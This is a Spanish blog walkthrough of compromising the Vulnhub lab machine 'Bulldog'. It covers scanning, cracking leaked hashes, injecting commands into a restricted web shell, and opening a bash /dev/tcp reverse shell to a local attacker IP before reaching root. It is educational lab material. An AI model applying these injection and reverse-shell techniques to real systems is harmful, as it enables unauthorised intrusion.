.

.

viernes, 3 de agosto de 2018

Bulldog - Vulnhub



Vamos ha intentar hackear una máquina que encontramos en Vulnhub: Bulldog

Podemos descargarla de:
https://download.vulnhub.com/bulldog

Historia de la máquina:

Recientemente, Bulldog Industries hizo que su sitio web fuera borrado y propiedad del malicioso equipo alemán Shepherd Hack Team. ¿Podría esto significar que hay más vulnerabilidades para explotar? ¿Por qué no lo descubres? :

Este es un Boot-to-Root estándar. ¡Su único objetivo es ingresar al directorio raíz y ver el mensaje de felicitación, cómo lo hace depende de usted!


Dificultad: Principiante / Intermedio, si te quedas atascado, trata de descubrir las diferentes formas en que puedes interactuar con el sistema. Esa es mi única pista;)

Hecho por Nick Frichette (frichetten.com) Twitter: @frichette_n

Recomiendo ejecutar esto en Virtualbox, tuve algunos problemas para hacerlo funcionar en VMware. Además DHCP está habilitado, por lo que no debería tener problemas para conectarlo a su red. Por defecto está en modo puente, pero puede cambiarlo si lo desea.



Pongamonos manos a la obra:

Empezaré haciendo un nmap de la red para localizar la máquina Bulldog.

#nmap -sn 192.168.1.1/24




Una vez localizada la máquina, paso a hacer un escaneo de puertos:
$ nmap -A -sT -sV -O -vvv -T4 192.168.1.158


Tras lo que encuentro los puertos OPEN: 23 / 80 / 8080



Uso el comando “enum4linux”, para ver que información puedo extraer de usuarios de sistema, grupos, etc.

Solo consigo extraer nombres de usuario:




Paso a otro vector, la web o puerto 80: (192.168.1.158:80)







Cambio el subdomio “/notice” por “/admin” y encuentro el acceso al panel de administración.






Pruebo fuerza bruta con los usuarios encontrados en la búsqueda de información y algunas claves genéricas, pero no hay suerte.





Pero viendo que he encontrado /admin (subdominio oculto) me decido a utilizar DIRBUSTER para ver que más puedo encontrar.







Aunque no lo haya ido nombrando, en cada una de las páginas web, a falta de otra información y de los pocos vectores de ataque que encuentro, he ido también echando un ojo al código fuente por si este me revelara algún dato que me pudiera servir de utilidad para algo.

Pues esta web /dev/ la que parecía que menos importancia iba a tener de todas me encuentro esto:





Hashes de las passwords!!!! 

 <!--Need these password hashes for testingDjango's default is too complex--> 
 <!--We'll remove these in prodIt's not like a hacker can do anything with a hash--> 


Si entiendo bien el asunto, aquí tenemos los user:
-Malik
-Kevin
-Ashley
-Nick
-Sarah


Y los hashes de sus passwords. 

Busco los hashes en varias web, y me decanto por:  http://hashtoolkit.com 

No encuentro ninguno de los hashes, hasta que busco el correspondiente al usernick 


Me devuelve la password: bulldog 





Con el usuario y contraseña, me voy al panel de 1.158/admin y entro a la primera.



Realmente creo que no he conseguido nada, porque el usuario está logeado pero no se me permite ninguna acción.

Dandole vueltas, al volver a la web de desarrolladores a ver si pone algo más u otro usuario podría logearse con más permisos, encuentro que donde ponía “webshell” se ha vuelto un enlace y al pulsarlo puedo acceder.




http://192.168.1.158/dev/shell/







Solo permite los comandos que se ven en pantalla.
Así que al menos los utilizaré para tener más información del sistema.








Para sacar la información, pruebo a concatenar los comandos “&” y me doy cuenta de que los comandos que no coge (permite), tipo “uname” si los concatenas a uno de los que si permite, también los toma por válidos.




Intento utilizar netcat (no sé si lo tiene instalado) para conectar con mi Kali y hacer una Shell.






No funciona




Pruebo con:

ls && bash -i >& /dev/tcp/192.168.1.54/4444 0>&1

Tampoco nada.


Vistos los resultados obtenidos, me pongo a buscar alternativas a nc de shell.

En: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet , encuentro esto (Muy interesante, aunque no sé si valido para ahora) (https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem)

---------
But, What If You Don't Have -e Support?







-------------


Sigo dando vueltas al asunto e investigando sobre el tema.

Después de probar varias combinaciones doy con la siguiente:

echo 'bash -i >& /dev/tcp/192.168.1.56/4444 0>&1' | bash





Pongo el terminal de linux a la escucha:





Estoy dentro.

Vamos a por ello.
Ahora puedo recopilar información del sistema.


ls y whoami







Mostramos la info de grupos del sistema en /etc/group










Me meto en el usuario: bulldogadmin

El ls -l no me muestra nada, no me devuelve información.


Miro otras opciones por si hubiese algo oculto.





Cat no funciona con otro de los archivos encontrados 







  Podemos ver esto dentro del archivo: 
___________________________________________________________________________________________________________ 
__gmon_start__ 
GLIBC_2.4 
GLIBC_2.2.5 
UH-H 
SUPERultH imatePASH SWORDyouH CANTget 
dH34%( 
AWAVA 
AUATL 
[]A\A]A^A_ 
Please enter a valid username to use root privileges 
 Usage: ./customPermissionApp <username> sudo su root 
;*3$" 
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609 
------------------------------------------------------------------------------------------------------------------------------------------------------------------ 

Tal y como se puede ver en el strings del archivo customPermissionApp, se observa lo que podría ser la contraseña de root. 
Para ello hace falta ejecutar sudo su. 
Sin embargo se necesita una shell conTTY 




 Conseguido somos root!!